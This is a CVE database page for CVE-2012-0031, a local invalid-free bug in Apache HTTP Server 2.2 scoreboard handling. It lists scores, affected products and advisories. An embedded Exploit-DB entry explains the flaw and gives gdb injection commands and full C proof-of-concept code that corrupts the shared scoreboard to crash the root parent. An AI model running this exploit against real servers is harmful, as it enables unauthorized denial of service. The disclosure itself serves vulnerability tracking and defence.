CVE-2012-0031 : Detail

CVE-2012-0031

0.06%V3
Local
2012-01-18
19h00 +00:00
2021-06-06
08h10 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

scoreboard.c in the Apache HTTP Server 2.2.21 and earlier might allow local users to cause a denial of service (daemon crash during shutdown) or possibly have unspecified other impact by modifying a certain type field within a scoreboard shared memory segment, leading to an invalid call to the free function.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE Other No informations.

Metrics

Metrics Score Severity CVSS Vector Source
V2 4.6 AV:L/AC:L/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 41768

Publication date : 2012-01-10 23h00 +00:00
Author : halfdog
EDB Verified : No

Source: http://www.halfdog.net/Security/2011/ApacheScoreboardInvalidFreeOnShutdown/ ## Introduction Apache 2.2 webservers may use a shared memory segment to share child process status information (scoreboard) between the child processes and the parent process running as root. A child running with lower privileges than the parent process might trigger an invalid free in the privileged parent process during parent shutdown by modifying data on the shared memory segment. ## Method A child process can trigger the bug by changing the value of ap_scoreboard_e sb_type, which resides in the global_score structure on the shared memory segment. The value is usually 2 (SB_SHARED): typedef struct { int server_limit; int thread_limit; ap_scoreboard_e sb_type; ap_generation_t running_generation; /* the generation of children which * should still be serving requests. */ apr_time_t restart_time; int lb_limit; } global_score; When changing the scoreboard type of a shared memory segment to something else, the root process will try to release the shared memory using free during normal shutdown. Since the memory was allocated using mmap, not malloc, the call to free from ap_cleanup_scoreboard (server/scoreboard.c) triggers abort within libc. apr_status_t ap_cleanup_scoreboard(void *d) { if (ap_scoreboard_image == NULL) { return APR_SUCCESS; } if (ap_scoreboard_image->global->sb_type == SB_SHARED) { ap_cleanup_shared_mem(NULL); } else { free(ap_scoreboard_image->global); free(ap_scoreboard_image); ap_scoreboard_image = NULL; } return APR_SUCCESS; } Abort output is written to apache default error log: [Fri Dec 30 10:19:57 2011] [notice] caught SIGTERM, shutting down *** glibc detected *** /usr/sbin/apache2: free(): invalid pointer: 0xb76f4008 *** ======= Backtrace: ========= /lib/i386-linux-gnu/libc.so.6(+0x6ebc2)[0x17ebc2] /lib/i386-linux-gnu/libc.so.6(+0x6f862)[0x17f862] /lib/i386-linux-gnu/libc.so.6(cfree+0x6d)[0x18294d] /usr/sbin/apache2(ap_cleanup_scoreboard+0x29)[0xa57519] /usr/lib/libapr-1.so.0(+0x19846)[0x545846] /usr/lib/libapr-1.so.0(apr_pool_destroy+0x52)[0x5449ec] /usr/sbin/apache2(+0x1f063)[0xa52063] /usr/sbin/apache2(main+0xeea)[0xa51e3a] /lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf3)[0x129113] /usr/sbin/apache2(+0x1ef3d)[0xa51f3d] ======= Memory map: ======== 00110000-00286000 r-xp 00000000 08:01 132367 To reproduce, attach to a www-data (non-root) child process and increment the value at offset 0x10 in the shared memory segment. The search and replace can also be accomplished by compiling LibScoreboardTest.c (http://www.halfdog.net/Security/2011/ApacheScoreboardInvalidFreeOnShutdown/LibScoreboardTest.c) and loading it into a child process using gdb --pid [childpid] and following commands: set *(int*)($esp+4)="/var/www/libExploit.so" set *(int*)($esp+8)=1 set $eip=*__libc_dlopen_mode continue Without gdb, the mod_setenv exploit demo (2nd attempt) (http://www.halfdog.net/Security/2011/ApacheModSetEnvIfIntegerOverflow/DemoExploit.html) could be used to load the code. --- LibScoreboardTest.c --- /** gcc -Wall -c LibScoreboardTest.c * ld -shared -Bdynamic LibScoreboardTest.o -L/lib -lc -o LibScoreboardTest.so */ #include <fcntl.h> #include <unistd.h> #include <stdio.h> #include <stdlib.h> extern void _init() { int fd=-1, pos; char mmapData[1<<16]; int mmapDataLen; char str[1024]; char* sharedSegStart=NULL; char* sharedSegEnd=NULL; int sharedSegLen; int result; fd=open("/proc/self/maps", O_RDONLY); mmapDataLen=0; while((result=read(fd, mmapData+mmapDataLen, sizeof(mmapData)-mmapDataLen))>0) mmapDataLen+=result; close(fd); fd=open("/tmp/testlog", O_RDWR|O_CREAT, 0777); result=sprintf(str, "Read %d\n", mmapDataLen); write(fd, str, result); write(fd, mmapData, mmapDataLen); for(pos=0; pos<mmapDataLen;) { result=sscanf(mmapData+pos, "%8x-%8x rw-s %8x ", (int*)&sharedSegStart, (int*)&sharedSegEnd, &result); if(result==3) break; while((pos<mmapDataLen)&&(mmapData[pos]!='\n')) pos++; if(pos==mmapDataLen) break; pos++; } result=sprintf(str, "Shared seg data 0x%x-0x%x\n", (int)sharedSegStart, (int)sharedSegEnd); write(fd, str, result); if(pos==mmapDataLen) return; // Set ap_scoreboard_e sb_type=3 *(int*)(sharedSegStart+0x10)=3; exit(0); } --- EOF --

Products Mentioned

Configuraton 0

Apache>>Http_server >> Version From (including) 2.0.0 To (excluding) 2.0.65

Apache>>Http_server >> Version From (including) 2.2.0 To (excluding) 2.2.22

Configuraton 0

Debian>>Debian_linux >> Version 5.0

Debian>>Debian_linux >> Version 6.0

Debian>>Debian_linux >> Version 7.0

Configuraton 0

Opensuse>>Opensuse >> Version 11.4

Suse>>Linux_enterprise_server >> Version 10

Suse>>Linux_enterprise_software_development_kit >> Version 10

Configuraton 0

Redhat>>Jboss_enterprise_web_server >> Version 1.0.0

Redhat>>Enterprise_linux >> Version 5.0

Redhat>>Enterprise_linux >> Version 6.0

Configuraton 0

Redhat>>Storage >> Version 2.0

Redhat>>Enterprise_linux_desktop >> Version 6.0

Redhat>>Enterprise_linux_eus >> Version 6.2

Redhat>>Enterprise_linux_server >> Version 6.0

Redhat>>Enterprise_linux_server_aus >> Version 6.2

Redhat>>Enterprise_linux_workstation >> Version 6.0

References

http://secunia.com/advisories/47410
Tags : third-party-advisory, x_refsource_SECUNIA
http://marc.info/?l=bugtraq&m=134987041210674&w=2
Tags : vendor-advisory, x_refsource_HP
http://www.mandriva.com/security/advisories?name=MDVSA-2012:012
Tags : vendor-advisory, x_refsource_MANDRIVA
http://rhn.redhat.com/errata/RHSA-2012-0543.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.securityfocus.com/bid/51407
Tags : vdb-entry, x_refsource_BID
http://marc.info/?l=bugtraq&m=134987041210674&w=2
Tags : vendor-advisory, x_refsource_HP
http://marc.info/?l=bugtraq&m=133294460209056&w=2
Tags : vendor-advisory, x_refsource_HP
http://rhn.redhat.com/errata/RHSA-2012-0128.html
Tags : vendor-advisory, x_refsource_REDHAT
http://marc.info/?l=bugtraq&m=133294460209056&w=2
Tags : vendor-advisory, x_refsource_HP
http://rhn.redhat.com/errata/RHSA-2012-0542.html
Tags : vendor-advisory, x_refsource_REDHAT
http://support.apple.com/kb/HT5501
Tags : x_refsource_CONFIRM
http://marc.info/?l=bugtraq&m=133494237717847&w=2
Tags : vendor-advisory, x_refsource_HP
http://www.mandriva.com/security/advisories?name=MDVSA-2013:150
Tags : vendor-advisory, x_refsource_MANDRIVA
http://secunia.com/advisories/48551
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.debian.org/security/2012/dsa-2405
Tags : vendor-advisory, x_refsource_DEBIAN
http://marc.info/?l=bugtraq&m=133494237717847&w=2
Tags : vendor-advisory, x_refsource_HP